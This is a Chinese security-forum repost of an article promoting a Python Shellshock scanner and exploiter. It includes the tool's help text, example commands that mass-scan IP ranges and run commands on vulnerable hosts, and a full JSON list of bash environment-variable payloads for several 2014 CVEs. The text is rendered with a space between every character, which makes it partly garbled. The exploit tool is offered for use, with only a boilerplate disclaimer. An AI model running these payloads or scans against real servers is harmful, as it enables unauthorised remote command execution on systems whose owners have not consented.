搜索

[29022] 2021-06-21_【安全工具】一款简单漏洞测试hellshock工具

文档创建者：s7ckTeam
浏览次数：62
最后更新：2025-01-19
2021-06-21_【安全工具】一款简单漏洞测试hellshock工具 【 安 全 工 具 】 一 款 简 单 漏 洞 测 试 h e l l s h o c k 工 具 O t s 安 全   2 0 2 1 - 0 6 - 2 1 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍           - 点 击 图 文 广 告   =   打 赏 S h e l l s h o c k （ 软 件 错 误 ） （ 软 件 错 误 ） S h e l l s h o c k ， 也 称 为   B a s h d o o r ， 是   U n i x   B a s h   s h e l l   中 的 一 系 列 安 全 漏 洞 ， 其 中 第 一 个 漏 洞 于   2 0 1 4   年   9   月   2 4   日 披 露 。 S h e l l s h o c k   可 使 攻 击 者 使   B a s h   执 行 任 意 命 令 并 获 得 对 许 多   I n t e r n e t   的 未 经 授 权 的 访 问 。 面 向 使 用   B a s h   处 理 请 求 的 服 务 ， 例 如   W e b   服 务 器 。 免 责 声 明 免 责 声 明 这 个 或 以 前 的 程 序 仅 用 于 教 育 目 的 。 未 经 许 可 ， 请 勿 使 用 。 通 常 的 免 责 声 明 适 用 ， 尤 其 是 我   (   M r C l 0 w n L a b   )   不 对 因 直 接 或 间 接 使 用 这 些 程 序 提 供 的 信 息 或 功 能 而 造 成 的 任 何 损 害 负 责 。 作 者 或 任 何 互 联 网 提 供 商 对 这 些 程 序 或 其 任 何 衍 生 产 品 的 内 容 或 滥 用 不 承 担 任 何 责 任 。 通 过 使 用 这 些 程 序 ， 您 接 受 这 样 一 个 事 实 ， 即 使 用 这 些 程 序 造 成 的 任 何 损 坏 （ 数 据 丢 失 、 系 统 崩 溃 、 系 统 损 坏 等 ） 不 是 M r C l 0 w n L a b   的 责 任 。 安 装 安 装 使 用 包 管 理 器 p i p p i p 帮 助 帮 助 A u t o r :         M r C l 0 w n B l o g :           h t t p : / / b l o g . m r c l 0 w n . c o m G i t H u b :       h t t p s : / / g i t h u b . c o m / M r C l 0 w n L a b T w i t t e r :     h t t p s : / / t w i t t e r . c o m / M r C l 0 w n L a b E m a i l :         m r c l 0 w n l a b @ g m a i l . c o m p i p   i n s t a l l   s h o d a n p i p   i n s t a l l   i p i n f o p y t h o n   m a i n . p y   - - h e l p                                                                                     , /                                                                                 , ' /                                                                             , '   /                                                                         , '     / _ _ _ _ _ ,                                                                     . ' _ _ _ _         , '                                                                                         /     , '                                                                             /   , '                                                                             / , '                                                                         / '                           _ _ _ _     _           _ _ _ _ _   _           _           _ _ _ _     _             _ _ _               _                                 /   _ _ _ | |   | _ _   | _ _ _   / |   |       |   |       /   _ _ _ | |   | _ _     /   _       _ _ _ |   |   _ _                         _ _ _   |   ' _       | _   |   |       |   |       _ _ _   |   ' _   |   |   |   | /   _ _ |   | /   /                           _ _ _ )   |   |   |   | _ _ _ )   |   | _ _ _ |   | _ _ _   _ _ _ )   |   |   |   |   | _ |   |   ( _ _ |       <                           | _ _ _ _ / | _ |   | _ | _ _ _ _ / | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ / | _ |   | _ | _ _ _ /   _ _ _ | _ | _                                           _ _       _       _                           _                             _ _                                                                             |   _ |   |   |   |   | _       _   _   _ _   |   | _   _ _ _   _   _ _     | _   |                                                                           |   |     |   | _ |   |   |   |   |   ' _   |   _ _ /   _     ' _ _ |     |   |                                                                           |   |     |     _     |   | _ |   |   |   |   |   | |     _ _ /   |           |   |                                                                           |   |     | _ |   | _ | _ _ , _ | _ |   | _ | _ _ _ _ _ | _ |           |   |                                                                           | _ _ |                                                                     | _ _ |   v 1 . 0                                                                             B y :   M r C l 0 w n   /   h t t p s : / / b l o g . m r c l 0 w n . c o m                                                                                                                                                     u s a g e :   t o o l   [ - h ]   [ - - f i l e   < i p s . t x t > ]   [ - - r a n g e   < i p - s t a r t > , < i p - e n d > ]   [ - - c m d - c g i   < c o m m a n d   s h e l l > ]   [ - - e x e c - v u l n   < c o m m a n d   s h e l l > ]   [ - - t h r e a d   < 2 0 > ]   [ - - c h e c k ]   [ - - s s l ]   [ - - c g i - f i l e   < c g i . t x t > ]   [ - - t i m e o u t   < 5 > ]   [ - - a l l ]   [ - - d e b u g ] o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                                       s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - - f i l e   < i p s . t x t >                           I n p u t   y o u r   t a r g e t   h o s t   l i s t s     - - r a n g e   < i p - s t a r t > , < i p - e n d >     S e t   r a n g e   I P   E g . :   1 9 2 . 1 6 8 . 1 5 . 1 , 1 9 2 . 1 6 8 . 1 5 . 1 0 0     - - c m d - c g i   < c o m m a n d   s h e l l >         D e f i n e   s h e l l   c o m m a n d   t h a t   w i l l   b e   e x e c u t e d   i n   t h e   p a y l o a d     - - e x e c - v u l n   < c o m m a n d   s h e l l >     E x e c u t i n g   c o m m a n d s   o n   v u l n e r a b l e   t a r g e t s     - - t h r e a d   < 2 0 > ,   - t   < 2 0 >               E g .   2 0     - - c h e c k                                             C h e c k   f o r   s h e l l s h o c k   v u l n e r a b i l i t y     - - s s l                                                 E n a b l e   r e q u e s t   w i t h   S S L     - - c g i - f i l e   < c g i . t x t >                   D e f i n e s   a   C G I   f i l e   t o   b e   u s e d
命 令 例 如 ： p r i n t s ： ： 开 始 开 始 过 程 特 殊 命 令   (   - - e x e c - v u l n   ' e c h o   " _ T A R G E T _ " '   )     - - c g i - f i l e   < c g i . t x t >                   D e f i n e s   a   C G I   f i l e   t o   b e   u s e d     - - t i m e o u t   < 5 >                                 S e t   c o n n e c t i o n   t i m e o u t     - - a l l                                                 T e s t e   a l l   p a y l o a d s     - - d e b u g ,   - d                                     E n a b l e   d e b u g   m o d e p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - f i l e   t a r g e t s . t x t   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - f i l e   t a r g e t s . t x t   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t '   - - a l l p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' c u r l   - v   - k   - i   " _ T A R G E T _ " ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' . / e x p l o i t   - t   " _ T A R G E T _ " ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' . / e x p l o i t   - t   " _ T A R G E T _ " '   - - d e b u g
命 令 （   - - d e b u g   ） - - 调 试 源 文 件 （ 漏 洞 利 用 ） 源 文 件 （ 漏 洞 利 用 ） 密 码 ： a s s e t s / e x p l o i t s . j s o n {         " D E F A U L T " :                 " ( )   {   : ;   } ;   e c h o   ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 " :                   " ( )   {   : ;   } ;   e c h o   _ C H E C K E R _ ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 - 2 " :                 " ( )   {   : ; } ;   e c h o   ' _ C H E C K E R _ '   ' B A S H _ F U N C _ x ( ) = ( )   {   : ; } ;   e c h o   _ C H E C K E R _ '   b a s h   - c   ' e c h o   _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 - 3 " :                 " ( )   {   : ;   } ;   e c h o   ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' ; e c h o   _ C H E C K E R _ ; " ,         " C V E - 2 0 1 4 - 7 1 6 9 " :                 " ( )   {   ( a ) = > '   / b i n / b a s h   - c   ' e c h o   _ C H E C K E R _ ' ;   c a t   e c h o " ,         " C V E - 2 0 1 4 - 7 1 8 6 " :                 " / b i n / b a s h   - c   ' t r u e   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F '   | |   e c h o   ' _ C H E C K E R _ ,   r e d i r _ s t a c k ' " ,         " C V E - 2 0 1 4 - 7 1 8 7 " :                 " ( f o r   x   i n   { 1 . . 2 0 0 }   ;   d o   e c h o   " f o r   x $ x   i n   ;   d o   : " ;   d o n e ;   f o r   x   i n   { 1 . . 2 0 0 }   ;   d o   e c h o   d o n e   ;   d o n e )   |   / b i n / b a s h   | |   e c h o   ' _ C H E C K E R _ ,   w o r d _ l i n e n o ' " ,         " C V E - 2 0 1 4 - 6 2 7 8 " :                 " ( )   {   _ ;   }   > _ [ $ ( $ ( ) ) ]   {   e c h o   _ C H E C K E R _ ;   i d ;   }   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 8 - 2 " :                         " s h e l l s h o c k e r = ' ( )   {   e c h o   _ C H E C K E R _ ;   } '   b a s h   - c   s h e l l s h o c k e r " ,         " C V E - 2 0 1 4 - 6 2 7 7 " :                 " ( )   {   x ( )   {   _ ;   } ;   x ( )   {   _ ;   }   < < a ;   }   / b i n / b a s h   - c   _ C O M M A N D _ ; e c h o   _ C H E C K E R _ " ,         " C V E - 2 0 1 4 - * " :
源 文 件 （ 配 置 ） 密 码 ： a s s e t s / c o n f i g . j s o n 树 参 考 参 考 h t t p s : / / o w a s p . o r g / w w w - p d f - a r c h i v e / S h e l l s h o c k _ - _ T u d o r _ E n a c h e . p d f h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / S h e l l s h o c k _ % 2 8 s o f t w a r e _ b u g % 2 9 # C V E - 2 0 1 4 - 7 1 8 6 _ a n d _ C V E - 2 0 1 4 - 7 1 8 7 _ D e t a i l s h t t p s : / / b l o g . i n u r l . c o m . b r / s e a r c h ? q = s h e l l s h o c k h t t p s : / / g i t h u b . c o m / g o o g l e i n u r l / X p l - S H E L L S H O C K - C h 3 c k / b l o b / m a s t e r / x p l S H E L L S H O C K . p h p h t t p s : / / g i t h u b . c o m / c h e l s e a k o m l o / s h e l l s h o c k _ d e m o h t t p s : / / g i t h u b . c o m / x d i s t r o / S h e l l S h o c k / b l o b / m a s t e r / s h e l l s h o c k _ t e s t . s h h t t p s : / / g i t h u b . c o m / c a p t u r e 0 x / X S H O C K / b l o b / m a s t e r / m a i n . p y h t t p s : / / l c a m t u f . b l o g s p o t . c o m / 2 0 1 4 / 1 0 / b a s h - b u g - h o w - w e - f i n a l l y - c r a c k e d . h t m l h t t p s : / / b l o g . s u c u r i . n e t / 2 0 1 4 / 0 9 / b a s h - v u l n e r a b i l i t y - s h e l l - s h o c k - t h o u s a n d s - o f - c p a n e l - s i t e s - a r e - h i g h - r i s k . h t m l h t t p s : / / g i t h u b . c o m / B u d d h a L a b s / P a c k e t S t o r m - E x p l o i t s / b l o b / m a s t e r / 1 4 1 0 - e x p l o i t s / a p a c h e m o d c g i - s h e l l s h o c k . t x t h t t p s : / / g i t h u b . c o m / g a j o s 1 1 2 / O S C P / b l o b / m a s t e r / S h e l l s h o c k . t x t         " C V E - 2 0 1 4 - * " :                 " ( )   {   } ;   e c h o   _ C H E C K E R _ '   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " } {         " c o n f i g " :   {                 " t h r e a d s " :   2 0 ,                 " p a t h " :   {                         " p a t h _ o u t p u t " :   " o u t p u t / " ,                         " p a t h _ w o r d l i s t " :   " w o r d l i s t / " ,                         " p a t h _ m o d u l e s " :   " m o d u l e s / " ,                         " p a t h _ a s s e t s " :   " a s s e t s / "                 } ,                 " f i l e s _ a s s e t s " : {                         " c o n f i g " :   " a s s e t s / c o n f i g . j s o n " ,                         " a u t o r " :   " a s s e t s / a u t o r . j s o n " ,                         " e x p l o i t s " :   " a s s e t s / e x p l o i t s . j s o n "                 } ,                 " a p i " : {                         " s h o d a n " : " " ,                         " i p i n f o " : " "                 }         } } ├ ─ ─   a s s e t s │       ├ ─ ─   a u t o r . j s o n │       ├ ─ ─   c o n f i g . j s o n │       ├ ─ ─   e x p l o i t s . j s o n │       └ ─ ─   p r i n t s │               ├ ─ ─   b a n n e r . p n g │               ├ ─ ─   p r i n t 0 0 . p n g │               ├ ─ ─   p r i n t 0 1 . p n g │               ├ ─ ─   p r i n t 0 2 . p n g │               └ ─ ─   p r i n t 0 3 . p n g ├ ─ ─   L I C E N S E ├ ─ ─   m a i n . p y ├ ─ ─   m o d u l e s │       ├ ─ ─   b a n n e r _ s h o c k . p y │       ├ ─ ─   c o l o r _ s h o c k . p y │       ├ ─ ─   d e b u g _ s h o c k . p y │       ├ ─ ─   f i l e _ s h o c k . p y │       ├ ─ ─   _ _ i n i t _ _ . p y │       ├ ─ ─   r e q u e s t _ s h o c k . p y │       ├ ─ ─   s h o d a n _ s h o c k . p y │       └ ─ ─   t h r e a d _ s h o c k . p y ├ ─ ─   o u t p u t │       └ ─ ─   v u l n . t x t ├ ─ ─   R E A D M E . m d └ ─ ─   w o r d l i s t         └ ─ ─   c g i . t x t
h t t p s : / / d l . p a c k e t s t o r m s e c u r i t y . n e t / 1 6 0 6 - e x p l o i t s / s u n s e c u r e g d o g - s h e l l s h o c k . t x t h t t p : / / s t u f f . i p s e c s . c o m / f i l e s / u c s - s h e l l s h o c k _ p l . t x t h t t p s : / / g i t h u b . c o m / o p s x c q / e x p l o i t - C V E - 2 0 1 4 - 6 2 7 1 h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / S h e l l s h o c k _ % 2 8 s o f t w a r e _ b u g % 2 9 # C V E - 2 0 1 4 - 7 1 8 6 _ a n d _ C V E - 2 0 1 4 - 7 1 8 7 _ D e t a i l s h t t p s : / / m a n u a l d o u s u a r i o . n e t / s h e l l s h o c k - b a s h - f a l h a / h t t p s : / / d a r r e n m a r t y n . i e / 2 0 2 1 / 0 1 / 2 4 / v i s u a l d o o r - s o n i c w a l l - s s l - v p n - e x p l o i t 路 线 图 路 线 图 我 开 始 这 个 项 目 是 为 了 研 究 更 多 的   p y t h o n   并 与   s h o d a n   和   i p i n f o   等   A P I S   进 行 更 多 的 交 互 。   命 令 行 结 构   横 幅   档 案 管 理 类   H t t p R e q u e s t s   管 理 类   线 程 管 理 类   漏 洞 利 用 的 源 文 件   颜 色 处 理 中   易 受 攻 击 目 标 上 的   S h e l l   E x e c   进 程 调 试 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理